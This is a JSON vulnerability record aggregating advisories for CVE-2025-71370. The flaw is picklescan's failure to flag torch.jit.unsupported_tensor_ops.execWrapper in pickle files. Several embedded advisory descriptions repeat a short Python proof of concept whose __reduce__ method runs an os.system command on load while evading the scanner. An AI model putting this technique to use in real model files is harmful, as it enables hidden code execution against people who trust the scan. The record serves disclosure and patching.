{"id":"CVE-2025-71370","aliases":["EUVD-2025-210307","GHSA-q8qp-8jq6-78mc","GHSA-vr7h-p6mm-wpmh","PYSEC-2026-4136"],"status":"published","title":"picklescan - Remote Code Execution via torch.jit.unsupported_tensor_ops.execWrapper","description":"picklescan before 0.0.28 fails to detect malicious torch.jit.unsupported_tensor_ops.execWrapper function calls embedded in pickle files. Attackers can craft malicious pickle files that bypass picklescan detection and execute arbitrary code when loaded via pickle.load().","severity":{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0048,"percentile":0.41891,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-345","CWE-502"],"published":"2025-08-22T16:58:06Z","modified":"2026-10-28T02:30:34Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["0.0.28"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.0.27"},{"fixed":"0.0.28"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.28"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.28"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vr7h-p6mm-wpmh","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-torch-jit-unsupported-tensor-ops-execwrapper","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71370","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-q8qp-8jq6-78mc"},{"url":"https://github.com/mmaitre314/picklescan/pull/47","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28","tags":["web"]},{"url":"https://github.com/advisories/GHSA-vr7h-p6mm-wpmh","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71370.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]},{"url":"https://pypi.org/project/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-71370","title":"picklescan - Remote Code Execution via torch.jit.unsupported_tensor_ops.execWrapper","description":"picklescan before 0.0.28 fails to detect malicious torch.jit.unsupported_tensor_ops.execWrapper function calls embedded in pickle files. Attackers can craft malicious pickle files that bypass picklescan detection and execute arbitrary code when loaded via pickle.load().","status":"published","published":"2026-06-23T12:12:54.577Z","modified":"2026-06-23T13:37:33.911Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:32:43.10004Z"}],"euvd":[{"id":"EUVD-2025-210307","description":"picklescan before 0.0.28 fails to detect malicious torch.jit.unsupported_tensor_ops.execWrapper function calls embedded in pickle files. Attackers can craft malicious pickle files that bypass picklescan detection and execute arbitrary code when loaded via pickle.load().","status":"published","published":"2026-06-23T12:12:54Z","modified":"2026-06-23T13:37:33Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:20:33.324654Z"}],"ghsa":[{"id":"GHSA-q8qp-8jq6-78mc","title":"Duplicate Advisory: Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-vr7h-p6mm-wpmh. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.28 fails to detect malicious torch.jit.unsupported_tensor_ops.execWrapper function calls embedded in pickle files. Attackers can craft malicious pickle files that bypass picklescan detection and execute arbitrary code when loaded via pickle.load().","status":"withdrawn","published":"2026-06-23T15:32:36Z","modified":"2026-09-23T18:14:33Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:41:20.575159Z"},{"id":"GHSA-vr7h-p6mm-wpmh","title":"Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper","description":"### Summary\n\nUsing torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\n\nimport torch.jit.unsupported_tensor_ops as unsupported_tensor_ops\n\nclass EvilTorchJitUnsupportedTensorOpsExecWrapper:\n    def __reduce__(self):\n        code = '__import__(\"os\").system(\"whoami\")'\n        glob = {}\n        loc = {}\n        return unsupported_tensor_ops.execWrapper, (code, glob, loc)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","status":"published","published":"2025-08-22T16:58:06Z","modified":"2026-09-23T18:14:50Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-345","CWE-502"],"updated_at":"2026-11-02T14:41:20.575159Z"}],"nvd":[{"id":"CVE-2025-71370","description":"picklescan before 0.0.28 fails to detect malicious torch.jit.unsupported_tensor_ops.execWrapper function calls embedded in pickle files. Attackers can craft malicious pickle files that bypass picklescan detection and execute arbitrary code when loaded via pickle.load().","status":"published","published":"2026-06-23T13:16:38.743Z","modified":"2026-10-12T21:10:00.227Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:12:02.535029Z"}],"osv":[{"id":"CVE-2025-71370","title":"picklescan - Remote Code Execution via torch.jit.unsupported_tensor_ops.execWrapper","description":"picklescan before 0.0.28 fails to detect malicious torch.jit.unsupported_tensor_ops.execWrapper function calls embedded in pickle files. Attackers can craft malicious pickle files that bypass picklescan detection and execute arbitrary code when loaded via pickle.load().","status":"published","published":"2026-06-23T12:12:54.577Z","modified":"2026-10-28T02:30:34.203192975Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:44:53.185592Z"},{"id":"GHSA-q8qp-8jq6-78mc","title":"Duplicate Advisory: Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-vr7h-p6mm-wpmh. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.28 fails to detect malicious torch.jit.unsupported_tensor_ops.execWrapper function calls embedded in pickle files. Attackers can craft malicious pickle files that bypass picklescan detection and execute arbitrary code when loaded via pickle.load().","status":"withdrawn","published":"2026-06-23T15:32:36Z","modified":"2026-09-23T18:27:39.273083269Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:54.40888Z"},{"id":"GHSA-vr7h-p6mm-wpmh","title":"Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper","description":"### Summary\n\nUsing torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\n\nimport torch.jit.unsupported_tensor_ops as unsupported_tensor_ops\n\nclass EvilTorchJitUnsupportedTensorOpsExecWrapper:\n    def __reduce__(self):\n        code = '__import__(\"os\").system(\"whoami\")'\n        glob = {}\n        loc = {}\n        return unsupported_tensor_ops.execWrapper, (code, glob, loc)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","status":"published","published":"2025-08-22T16:58:06Z","modified":"2026-10-01T17:56:16.810382008Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-345","CWE-502"],"updated_at":"2026-11-02T15:46:57.694388Z"},{"id":"PYSEC-2026-4136","title":"Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper","description":"### Summary\n\nUsing torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\n\nimport torch.jit.unsupported_tensor_ops as unsupported_tensor_ops\n\nclass EvilTorchJitUnsupportedTensorOpsExecWrapper:\n    def __reduce__(self):\n        code = '__import__(\"os\").system(\"whoami\")'\n        glob = {}\n        loc = {}\n        return unsupported_tensor_ops.execWrapper, (code, glob, loc)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","status":"published","published":"2026-10-01T16:38:25.595365Z","modified":"2026-10-01T17:45:13.655989277Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}